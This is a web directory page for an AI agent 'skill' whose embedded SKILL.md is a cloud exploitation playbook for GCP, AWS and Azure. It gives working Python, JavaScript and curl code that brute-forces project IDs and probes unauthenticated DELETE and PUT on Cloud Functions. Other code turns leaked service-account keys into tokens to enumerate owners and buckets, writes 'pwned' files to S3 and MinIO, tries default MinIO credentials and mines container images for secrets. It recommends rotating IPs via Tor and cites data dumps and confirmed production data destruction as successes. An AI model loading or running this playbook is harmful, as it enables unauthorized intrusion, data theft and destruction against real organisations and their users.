Cloud Iam Deep logo

Cloud Iam Deep

CommunityPopular
uphiago
cloud-iam-deep

GCP/AWS/Azure cloud exploitation -- Cloud Functions, Firestore, Cloud Run, S3, MinIO, Blob Storage, SA keys

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namecloud-iam-deep
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Cloud Iam Deep AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/redteam/cloud-iam-deep .claude/skills/cloud-iam-deep
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cloud Iam Deep in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cloud Iam Deep on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cloud Iam Deep is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Cloud IAM Deep -- Cloud Functions, Storage, IAM Exploitation

When to Use

  • After finding Firebase API keys, Supabase keys, or GCP SA keys
  • When a target uses serverless (Cloud Functions, Cloud Run)
  • After finding S3 bucket names or MinIO instances
  • One SA key can escalate to full cloud access

Cloud Functions URL Patterns (GCP)

https://{REGION}-{PROJECT_ID}.cloudfunctions.net/{FUNCTION_NAME}
https://us-central1-{PROJECT_ID}.cloudfunctions.net/api/feed

PROJECT_ID Discovery

python
projects = ["empresa", "empresa-app", "empresa-prod", "empresa-dev",
            "empresa-1", "empresa-12345", "app-empresa", "admin-1a2b3"]
regions = ["us-central1", "us-east1", "southamerica-east1", "europe-west1"]

for proj in projects:
    for region in regions:
        url = f"https://{region}-{proj}.cloudfunctions.net/api/feed?limit=1"
        try:
            r = requests.get(url, timeout=5)
            if r.status_code != 404 and len(r.text) > 20:
                print(f"DONE {url} -> {r.status_code}")
        except:
            pass

Testing HTTP Methods Without Auth

python
methods = {
    "GET": requests.get,
    "POST": lambda u: requests.post(u, json={"test": "test"}),
    "PUT": lambda u: requests.put(u, json={"test": "test"}),
    "DELETE": lambda u: requests.delete(u),
}

for method_name, method_func in methods.items():
    try:
        r = method_func(url)
        if r.status_code not in [401, 403, 404, 405]:
            print(f"WARN {method_name} {url} -> {r.status_code} (ACCEPTED!)")
    except:
        pass

Real-world case (CRITICAL): 6 Cloud Functions from fitness tech platform:

  • GET without auth -- dump of 15,800+ posts, 389+ users, real student data
  • DELETE without auth -- confirmed destruction of production data
  • Reflected CORS on ALL 6 functions -- drive-by attack possible
  • 705 PDF tokens leaked

Source Code Buckets (gcf-sources-*)

gcf-sources-{PROJECT_NUMBER}-{REGION}
gcf-v2-sources-{PROJECT_NUMBER}-{REGION}

With SA key read permission:

javascript
const {Storage} = require('@google-cloud/storage');
const storage = new Storage({credentials: sa});
const bucket = storage.bucket('gcf-sources-706681009423-us-central1');
const [files] = await bucket.getFiles();
for (const f of files.filter(f => f.name.endsWith('.zip'))) {
    await f.download({destination: '/tmp/' + f.name.replace(/\//g, '_')});
}

Service Account Key -> GCP Token Generation

python
import json, base64, time, requests
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding as pad
from cryptography.hazmat.backends import default_backend

def get_gcp_token(sa_key):
    """Generates a GCP access token from an SA key."""
    now = int(time.time())
    header = base64.urlsafe_b64encode(
        json.dumps({"alg":"RS256","typ":"JWT"}).encode()
    ).rstrip(b'=').decode()
    claims = {
        "iss": sa_key['client_email'],
        "scope": "https://www.googleapis.com/auth/cloud-platform",
        "aud": sa_key['token_uri'],
        "iat": now,
        "exp": now + 3600
    }
    payload = base64.urlsafe_b64encode(json.dumps(claims).encode()).rstrip(b'=').decode()
    key = load_pem_private_key(
        sa_key['private_key'].encode(), password=None, backend=default_backend()
    )
    signature = base64.urlsafe_b64encode(
        key.sign(f'{header}.{payload}'.encode(), pad.PKCS1v15(), hashes.SHA256())
    ).rstrip(b'=').decode()

    resp = requests.post(sa_key['token_uri'],
        data=f'grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion={header}.{payload}.{signature}'.encode(),
        headers={'Content-Type':'application/x-www-form-urlencoded'}, timeout=10)
    return resp.json()['access_token']

# List IAM policy (find owners/admins)
r = requests.get(
    f'https://cloudresourcemanager.googleapis.com/v1/projects/{project_id}:getIamPolicy',
    headers={'Authorization': f'Bearer {token}'}
)
for binding in r.json().get('bindings', []):
    if binding['role'] in ['roles/owner', 'roles/editor']:
        print(f"ROLE {binding['role']}: {binding['members']}")

# List Storage buckets
r = requests.get(
    f'https://storage.googleapis.com/storage/v1/b?project={project_id}',
    headers={'Authorization': f'Bearer {token}'}
)
for bucket in r.json().get('items', []):
    print(f"BUCKET {bucket['name']}")

# Test Firestore access
r = requests.get(
    f'https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents',
    headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
    print("FIRESTORE ACCESSIBLE")

Firebase Open SignUp

bash
curl --max-time 30 --connect-timeout 10 -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY"   -H "Content-Type: application/json"   -d '{"email":"attacker@domain.com","password":"Senha123!","returnSecureToken":true}'

Firestore Public Access Test

bash
curl --max-time 30 --connect-timeout 10 -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users?key=$API_KEY"
curl --max-time 30 --connect-timeout 10 -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores?key=$API_KEY"

# Test WRITE
curl --max-time 30 --connect-timeout 10 -X PATCH "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores/ID?updateMask.fieldPaths=fieldName"   -H "Content-Type: application/json"   -d '{"fields":{"fieldName":{"stringValue":"test"}}}'

Real-world case (CRITICAL): Delivery platform -- 3 Firebase projects:

  • 4,000 stores (CNPJ, GPS, phone, menu) + PATCH write confirmed
  • 204K WhatsApp conversations, 173K customer phone numbers
  • 1K+ public MP3 audio files in Storage

Cloud Run Service Listing

javascript
const {v2} = require('@google-cloud/run');
const client = new v2.ServicesClient({credentials: sa});
const [services] = await client.listServices({
    parent: 'projects/' + projectId + '/locations/us-central1'
});
for (const svc of services) {
    console.log(svc.name, svc.uri, svc.ingress);
}

Artifact Registry Image Download and Analysis

python
# List repositories
r = requests.get(
    f'https://artifactregistry.googleapis.com/v1/projects/{project}/locations/{region}/repositories',
    headers={'Authorization': f'Bearer {token}'}
)

# Download specific image manifest
digest = "sha256:XXXXX"
r = requests.get(
    f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/manifests/{digest}',
    headers={'Authorization': f'Bearer {token}',
             'Accept': 'application/vnd.docker.distribution.manifest.v2+json'}
)

# Download layers
for i, layer in enumerate(r.json().get('layers', [])):
    r2 = requests.get(
        f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/blobs/{layer["digest"]}',
        headers={'Authorization': f'Bearer {token}'}
    )
    with open(f'/tmp/layer_{i}.tar.gz', 'wb') as f:
        f.write(r2.content)

# Extract and search for secrets
# tar -xzf layer.tar.gz
# grep -rE "MIGRATION_TOKEN|APP_KEY|DB_PASSWORD" .

S3 Bucket Enumeration and Upload Testing

bash
# Test if bucket is public
curl --max-time 30 --connect-timeout 10 -s "http://bucket-name.s3.amazonaws.com/"

# Upload (if writable)
curl --max-time 30 --connect-timeout 10 -X PUT "http://bucket-name.s3.amazonaws.com/test.txt"   -H "Content-Type: text/plain" -d "pwned"

# Test common bucket names
for b in "target" "target-prod" "target-dev" "target-images" "target-uploads"          "target-backup" "target-media" "download.target.com" "static.target.com"; do
  r=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$b.s3.amazonaws.com/" 2>/dev/null)
  [ "$r" != "404" ] && echo "$b -> HTTP $r"
done

MinIO Health Check and Admin API

bash
# Health check
curl --max-time 30 --connect-timeout 10 -sI "http://host:9000/minio/health/live"

# Admin API
curl --max-time 30 --connect-timeout 10 -s "http://host:9000/minio/admin/v3/info"

# Web console login (port 9001)
curl --max-time 30 --connect-timeout 10 -X POST "http://host:9001/api/v1/login"   -H "Content-Type: application/json"   -d '{"accessKey":"minioadmin","secretKey":"minioadmin"}'

# List bucket objects
curl --max-time 30 --connect-timeout 10 -s "http://host:9000/bucket-name?list-type=2"

# Upload
curl --max-time 30 --connect-timeout 10 -X PUT "http://host:9000/bucket-name/file.html"   -H "Content-Type: text/html; charset=utf-8" -d "<h1>Pwned</h1>"

Azure Blob Storage Testing

bash
# URL pattern: https://{storage_account}.blob.core.windows.net/{container}
curl --max-time 30 --connect-timeout 10 -s "https://storageaccount.blob.core.windows.net/container?restype=container&comp=list"

Pitfalls

IssueSolution
SA key revokedMonitor usage, rotate keys carefully
Rate limitingSpace requests, rotate IP via Tor
False positive project IDsVerify with simple GET before deep testing
Cloud Run ingress=internalOnly accessible from VPC; need VPN

Verification

bash
# Verify SA key works
python3 -c "from google.oauth2 import service_account; creds = service_account.Credentials.from_service_account_file('sa.json'); print(creds.valid)"
# Verify Cloud Function
curl --max-time 30 --connect-timeout 10 -s "https://us-central1-PROJECT.cloudfunctions.net/FUNC" | head -5

Frequently asked questions

What does the Cloud Iam Deep AI skill do?

GCP/AWS/Azure cloud exploitation -- Cloud Functions, Firestore, Cloud Run, S3, MinIO, Blob Storage, SA keys

Why use Cloud Iam Deep on TypingMind?

Because you install it once and use it with any model. Cloud Iam Deep is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cloud Iam Deep in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/redteam/cloud-iam-deep. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Cloud Iam Deep?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cloud Iam Deep?

As many as you like. As long as a model supports skills, you can use Cloud Iam Deep with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cloud Iam Deep AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇